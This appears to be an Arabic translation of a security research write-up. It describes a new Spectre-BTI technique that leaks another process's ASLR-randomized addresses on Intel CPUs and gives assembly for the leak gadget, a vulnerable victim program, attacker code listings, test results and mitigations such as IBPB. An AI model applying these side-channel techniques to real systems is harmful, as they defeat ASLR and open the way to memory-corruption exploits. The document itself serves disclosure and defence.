
استغلال لإثبات المفهوم يتحايل على آلية ASLR في معالجات Intel عبر إساءة استخدام مخزن أهداف الفروع (Branch Target Buffer) والتنفيذ التخميني لتسريب العناوين العشوائية عبر قناة جانبية.
توزيع عشوائي لمساحة العنوان (ASLR) هو إجراء تخفيفي يُستخدم لزيادة صعوبة استغلال هجمات تلف الذاكرة. في سيناريو وجود ثغرة تجاوز سعة المخزن المؤقت، على سبيل المثال، يحتاج المهاجم الذي يحاول بناء استغلال باستخدام البرمجة الموجهة بالإرجاع (Return Oriented Programming) إلى معرفة عناوين القطع (gadgets) في السلسلة. إذا كان جزء الكود من البرنامج المستهدف يتم توزيعه عشوائيًا، يصبح من الأصعب بكثير على المهاجم اختيار العنوان الصحيح للاستغلال، مما يجعل الاستغلال غير ممكن.
يوضح المثال التالي كيف يتم توزيع عنوان عشوائيًا:
#include <stdio.h>
void DoNothing();
void (*codePtr)() = DoNothing;
void DoNothing(){}
int main(int argc,char **argv){
printf("Destination %p\n",codePtr);
DoNothing();
}
في كل تنفيذ يتم توزيع القيمة عشوائيًا:
Destination 0x563714256149
Destination 0x556d8e2f1149
Destination 0x5618c8bdd149
Destination 0x55ee623b0149
البتات الاثنتا عشرة الأخيرة 149 تكون نفسها دائمًا، لكن موقع الدالة يمكن أن يكون تقريبًا في أي مكان بين 0x550000000000 و0x570000000000، مما يعني أن 29 بتًا يتم توزيعها عشوائيًا، لتشغل مساحة عنوان محتملة تبلغ 0x200 0000 0000 أو 2.2 تيرابايت تقريبًا.
إن معالجة كل تعليمة هي مهمة صعبة. بعض مراحل معالجة تعليمة واحدة هي:
من أجل زيادة إنتاجية التعليمات في المعالج، يتم تنفيذ كل مهمة من مهام التعليمة بواسطة وحدة محددة من معالج. مع عمل جميع الوحدات بالتوازي، يسمح ذلك للمعالج بالعمل بسرعات ساعة أعلى بكثير، وهذه هي فكرة خط الأنابيب.
| العملية \ دورة الساعة | 1 | 2 | 3 | 4 | 5 |
|---|---|---|---|---|---|
| الجلب | A | B | C | ||
| فك الترميز | A | B | C | ||
| التنفيذ | A | B | C |
تنفيذ التعليمات A وB وC عبر الدورات 1-5. في الدورة 3، على سبيل المثال، تكون وحدات القراءة وفك الترميز والتنفيذ نشطة في الوقت نفسه
ومع ذلك، فإن التعليمات ليست مستقلة تمامًا عن بعضها البعض. على سبيل المثال، التسلسل التالي:
A. add ax,[bx]
B. jz $+1
C. mov dl,[rsi]
D. nop
في هذه الحالة، ستنتهي التعليمة A في أفضل الأحوال فقط في الدورة 3 عند مرحلة التنفيذ. ومع ذلك، تحتاج وحدة الجلب إلى تحديد ما هي التعليمة التالية التي يجب جلبها من الذاكرة، وما إذا كان يجب تخطي التعليمة C (mov dl,[rsi]).
في هذا السيناريو، أمام المعالج خيار الانتظار حتى تنتهي التعليمة A، وهو ما لن يحدث إلا في الدورة الثالثة، ليقوم بعدها بجلب التعليمة الصحيحة من الذاكرة، إذا كانت عملية الجمع تُرجع 0، على سبيل المثال:
| العملية \ دورة الساعة | 1 | 2 | 3 | 4 | 5 | 6 |
|---|---|---|---|---|---|---|
| الجلب | A | B | D | |||
| فك الترميز | A | B | D | |||
| التنفيذ | A | B | D |
وهذا يعني حدوث تأخير في خط الأنابيب لأن المعالج يجب أن ينتظر تنفيذ التعليمة. في هذا المثال، التأخير هو دورة ساعة واحدة فقط، لكن التعليمة add ax,[bx] تتطلب عملية ذاكرة، والتي كما رأينا سابقًا يمكن أن تستغرق مئات الدورات حتى تكتمل، مما يفرض تكلفة أداء كبيرة على المعالج.
سيكون الخيار الأسرع هو محاولة «تخمين» مسار التنفيذ الصحيح. يمكن للمعالج أن يخمن (speculate) ما إذا كان الفرع سيُتخذ أم لا. بعد تلك النقطة، يستمر التنفيذ من المسار المُخمَّن، ولا يتم اعتماد القيم إلا إذا ثبت صحة المسار بعد انتهاء التعليمة A. إذا ثبت أن المسار خاطئ، يتم تجاهل النتائج وإعادة الحالة إلى ما قبل نقطة التخمين.
| العملية \ دورة الساعة | 1 | 2 | 3 | 4 | 5 | 6 |
|---|---|---|---|---|---|---|
| الجلب | A | B | (S) C | |||
| فك الترميز | A | B | (S) C | |||
| التنفيذ | A | B | (S) C |
المشكلة الوحيدة في التراجع عن المسار المُتخذ هي أن الحالة المعمارية الدقيقة للمعالج لا يمكن التراجع عنها. لذا إذا خمّن المعالج تنفيذ التعليمة C (mov dl,[rsi])، فسيتم نقل البيانات المشار إليها بواسطة rsi إلى الكاش. ويمكن قياس هذا التأثير لاحقًا باستخدام هجوم قناة جانبية.

متنبئ شرطي ثنائي البت. https://en.wikipedia.org/wiki/Branch_predictor
لا يجب التنبؤ بالتعليمات الشرطية فقط، بل أيضًا بالفروع غير المباشرة. يجب أن يمتلك المعالج آلية لتخمين وجهات تعليمة مثل call [rdi].
تظهر ثغرة Spectre v2 أنه من الممكن استغلال المتنبئ غير المباشر لتحقيق تنفيذ عابر (transient execution) في عمليات أخرى:
مأخوذ من https://spectreattack.com/spectre.pdf
عند وضع تعليمة استدعاء في السياق A على نفس العنوان الافتراضي لتعليمة استدعاء أخرى في السياق B، يمكن للمهاجم تدريب المعالج على تنفيذ كود عند موضع يختاره المهاجم في السياق B، في هجوم إعادة استخدام الكود، على غرار البرمجة الموجهة بالإرجاع (ROP).
يجب أن يمتلك الضحية المستهدفة قطعة كود تُعرف باسم «spectre gadget» قادرة على تسريب سر باستخدام هجوم قناة جانبية. لنجاح هجوم Spectre، يجب على المهاجم أيضًا معرفة موقع الـ spectre gadget. لذلك، في هجمات المستخدم ضد المستخدم، كان حماية الضحية باستخدام ASLR تُستخدم كإجراء تخفيفي لهذا النوع من الهجمات. ومع ذلك، توجد أيضًا تقنيات لاستخراج ASLR باستخدام هجمات معمارية دقيقة مثل القفز فوق ASLR (Jump Over ASLR). لكن لهذه التقنية بعض القيود فيما يتعلق بكمية البتات المسربة، لأنها تعتمد على التصادم في المتنبئ المباشر لتجاوز ASLR.
الآليات الداخلية لهذا المتنبئ موضحة أدناه:

بعض هذه المكونات هي:
التخطيط الكلاسيكي لهجوم Spectre v2 يبدو هكذا:

getenv + secret[0]*4096 تسريب قيمة السر في الموضع 0 باستخدام libc كذاكرة مشتركة.Exec ASLR (المعروف أيضًا باسم تسميم مخزن أهداف الفروع العكسي - Reverse Branch Target Buffer Poisoning) هو تقنية جديدة لتجاوز ASLR باستخدام ثغرة Spectre-BTI. تسيء هذه التقنية استخدام حقيقة أنه ليس فقط يمكن للمهاجم تلويث BTB في سيناريو Spectre-BTI الكلاسيكي، بل يمكن للضحايا أيضًا أن يتسببوا في تنبؤ خاطئ للفرع في عملية المهاجم، مما يقود المهاجم إلى قفزة تخمينية إلى عنوان محمي بواسطة ASLR. ثم باستخدام قناة جانبية تسرب العنوان الذي يتم تنفيذه، يمكن للمهاجم استرداد عنوان الوجهة الكامل، متجاوزًا ASLR للعملية المستهدفة.
يبدو تخطيط هجوم Exec ASLR هكذا:

في هذا النوع من الهجمات، لا حاجة للعثور على spectre gadget ولا لامتلاك ذاكرة مشتركة للقناة الجانبية، الشرط الوحيد هو وجود فرع غير مباشر ليتم استغلاله، حيث يتم وضع جميع قطع Spectre v2 المطلوبة داخل عملية المهاجم. الشرط الجديد الوحيد لهذا الهجوم هو القدرة على تعيين عنوان وجهة الضحية في عمليتك الخاصة، لذلك لا يمكن لهذا الهجوم العمل ضد KASLR على سبيل المثال. هذا أيضًا ليس هجوم تخمين عنيف، فبمحاولة واحدة يمكن اختبار عناوين متعددة في نفس الوقت، ومع ذلك هناك حد لعدد «قطع التسريب» التي يمكن أن تحتويها الذاكرة في نفس الوقت. هذا يقلل بشكل كبير من الوقت اللازم لتنفيذ الهجوم مقارنة بـ Jump Over ASLR من ~100 عنوان في الثانية إلى بضع مئات مليارات العناوين في الثانية.
تستخدم قطعة التسريب probeArray لإعلام المهاجم بالمكان الذي يتم فيه تنفيذ القطعة نفسها. تستقبل probeArray ومؤشر RIP كوسيطين وتقوم بنوع من البرمجة بدون فروع لتقرر ما إذا كان سيتم الوصول إلى probeArray[0] أو probeArray[4096].
lea rax,[rip - 7] ;load current address
shr rax,cl ;selects the bit using cl arg
and rax,1
shl rax,12 ;loads probearray
mov dl,[rsi+rax] ;or probearray+4096
كما رأينا سابقًا، يتم استخدام BHB لتحديد إدخال في BTB. من أجل إيجاد تصادم في BTB واستغلال هذه الثغرة، يجب على المهاجم معرفة آخر N من الفروع (29 إذا كانت المعالجات < skylake) التي تم اتخاذها. في اختباراتنا، استخدمنا حلقة for لضبط حالة BHB إلى قيمة معروفة قبل الاستدعاء غير المباشر. إليك مثال ضعيف على كود الضحية:
#include <stdio.h>
void DoNothing();
void (*codePtr)() = DoNothing;
void DoNothing(){
return;
}
int main(){
printf("Destination = %p\n",codePtr);
while(1){
for(int i=0;i<200;i++){}
codePtr();
}
}
من أجل ضمان أن حالة BHB هي نفسها في كلا السياقين، ينسخ المهاجم البايتات المقابلة لحلقة for الخاصة بالضحية والاستدعاء في شكل شيل كود. يتم نسخ الشيل كود إلى جميع المواضع الـ 256 الممكنة التي يمكن أن تطابق محاذاة الـ 20 بتًا المنخفضة المطلوبة لتكون حالة BHB متماثلة.
Victim Code
0x5594c566a152 <+28>: mov eax,0xc8
0x5594c566a157 <+33>: dec eax
0x5594c566a159 <+35>: jne 0x1157 <main+33>
0x5594c566a15b <+37>: nop
0x5594c566a15c <+38>: nop
0x5594c566a15d <+39>: nop
0x5594c566a15e <+40>: lea rdi,[rip+0x2ecb]
0x5594c566a165 <+47>: call QWORD PTR [rdi]
--> Executes to
0x5594c5669135: ret
Attacker Code
… //eax=200 rsi=probeArray, cl=0
0x6a157 dec eax
0x6a159 jne 0x455555500157
…
0x6a165 jmp QWORD PTR [rdi]
--> Misspredicts to
0x5594c566a135: lea rax,[rip - 7]
0x5594c566a13c: shr rax,cl
0x5594c566a13f: and rax,1
0x5594c566a133: shl rax,12
0x5594c566a137: mov dl,[rsi+rax]
هناك مشكلة عند محاولة وضع قطعة في جميع المواضع الممكنة في نفس الوقت. في اختباراتنا، يضع ASLR الوجهة في مكان ما بين 0x550000000000 و0x570000000000. وهذا يعني وجود 2.2 تيرابايت من العناوين الافتراضية الممكنة لتعيينها أو 537 مليون قطعة تسريب. لكن النظام يحتوي فقط على 8 جيجابايت من ذاكرة الوصول العشوائي. إلى جانب إمكانية تعيين 2 تيرابايت من الذاكرة باستخدام COW، لم نحقق نجاحًا كبيرًا مع هذا النهج. أفترض أنه يخلق ضغطًا كبيرًا على مخزن الترجمة (Translation Lookaside Buffer - TLB)، مما يجعل التخمين إلى عنوان غير مترجم بطيئًا جدًا. في الاختبارات، أنشأنا صفحة بحجم 1 جيجابايت في الذاكرة وملأناها بقطع التسريب. ثم قمنا بتحويل الصفحة عبر نطاق الـ 2 تيرابايت باستخدام استدعاء remap. المشكلة الأخرى التي لوحظت هي أن العنوان المُخمَّن ربما لم يكن موجودًا في TLB، لأنه لم يتم تنفيذه فعليًا من قبل. لكن دليل إنتل ينص على:
لذلك، من أجل زيادة فرص «التنقل الصفحي الناتج عن التخمين» حاولنا جعل من الصعب قدر الإمكان حل العنوان الصحيح. يتم ذلك باستخدام سلسلة مؤشرات لعنوان الوجهة. الفكرة هي أن الواجهة الأمامية للمعالج ستخمن وجهة الفرع وستقوم وحدة إعادة الترتيب بتنفيذ قطعة التسريب قبل إنهاء قراءة سلسلة المؤشرات.
Improved Caller - Frontend fetched instructions
mov rcx,%1 ;mask arg for gadget
lea rsi,[%2] ;probe array ptr arg
lea rdx,[%0]
mov rdx,[rdx] ;pointer chain
mov rdx,[rdx]
mov rdx,[rdx]
...
mov rdx,[rdx]
mov rdx,[rdx]
check [rdx] ;mispredicts to gadget
lea rax,[rip - 7];speculative execution
shr rax,cl
and rax,1
shl rax,12
mov dl,[rsi+rax]
Improved Caller - Reorder unit scheduled instructions
mov rcx,%1 ;mask arg for gadget
lea rsi,[%2] ;probe array ptr arg
lea rdx,[%0]
mov rdx,[rdx] ;pointer chain
mov rdx,[rdx]
; <pagewalk occurs some where here>
... ;Out of order + speculation
lea rax,[rip - 7]
shr rax,cl
and rax,1
shl rax,12
mov dl,[rsi+rax]
...
mov rdx,[rdx]
mov rdx,[rdx]
check [rdx] ;the execution path reverted
أظهرت تقنية التنفيذ خارج الترتيب + التنفيذ التخميني تحسنًا في معدلات التنبؤ الخاطئ المطلوبة في الهجوم.
من أجل تنفيذ هجوم Spectre V2، يجب على المهاجم تنفيذ كود على نفس النواة التي يعمل عليها الضحية، بحيث يتشاركان نفس وحدة التنبؤ بالفروع (Branch Prediction Unit - BPU). في معالجات <= skylake لاحظنا أنه من الممكن تحقيق التواجد على نفس النواة باستخدام خيوط المعالجة المتزامنة (hyperthread). معالجات Icelake وCascade lake تنفذ إجراء تخفيفي يسمى «متنبئ الفروع غير المباشرة أحادي الخيط» (Single Thread Indirect Branch Predictor - STIBP)، الذي يفصل BPU عبر الخيوط. لذلك من الضروري تنفيذ الضحية والمهاجم على نفس الخيط واستخدام usleep للتناوب بين عملية الضحية وعملية المهاجم، مما قد يجعل المهاجم أبطأ على هذه المعالجات لولا حقيقة أن الكاشات (وربما TLB أيضًا) ممتازة جدًا في هذه الأجيال، مما يسمح بتخزين عدد أكبر بكثير من القطع في الكاش في نفس الوقت.
تم اختبار هذه التقنية على جميع معالجات إنتل المتاحة على Google Cloud، في كل من جيلي N1 وN2:
بصرف النظر عن وجود بعض الاختلافات في الاستغلالات الخاصة بـ Cascade وIce lake، فإن جميع الاختبارات قادرة على استعادة العناوين بدقة >99% في أقل من 10 ثوانٍ.
الإجراءات التخفيفية هي نفسها الخاصة بـ Spectre V2 للتخفيف من هجمات المستخدم ضد المستخدم.
حاجز التنبؤ بالفروع غير المباشرة (Indirect Branch Prediction Barrier - IBPB) يسمح بمسح BPU ويمكن استخدامه عند تبديل السياقات. في لينكس يمكن استخدام IBPB عبر استدعاء النظام prctl مع الخيار PR_SET_SPECULATION_CTRL.
ليس لدي أي فكرة عن الإجراء التخفيفي المكافئ لنظام ويندوز، من فضلك أخبرني.
https://docs.google.com/presentation/d/10t-oo-c26x9ydx1_FYgmhy204rxfmQ92eboPlCnA2y4/edit?usp=sharing
https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html https://eprint.iacr.org/2013/448.pdf https://spectreattack.com/spectre.pdf https://www.cs.ucr.edu/~nael/pubs/micro16.pdf http://download.vusec.net/papers/bhi-spectre-bhb_sec22.pdf https://www.kernel.org/doc/html/latest/userspace-api/spec_ctrl.html Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3. Santa Clara, USA: Intel Corporation, 2016, iSBN 325384-060US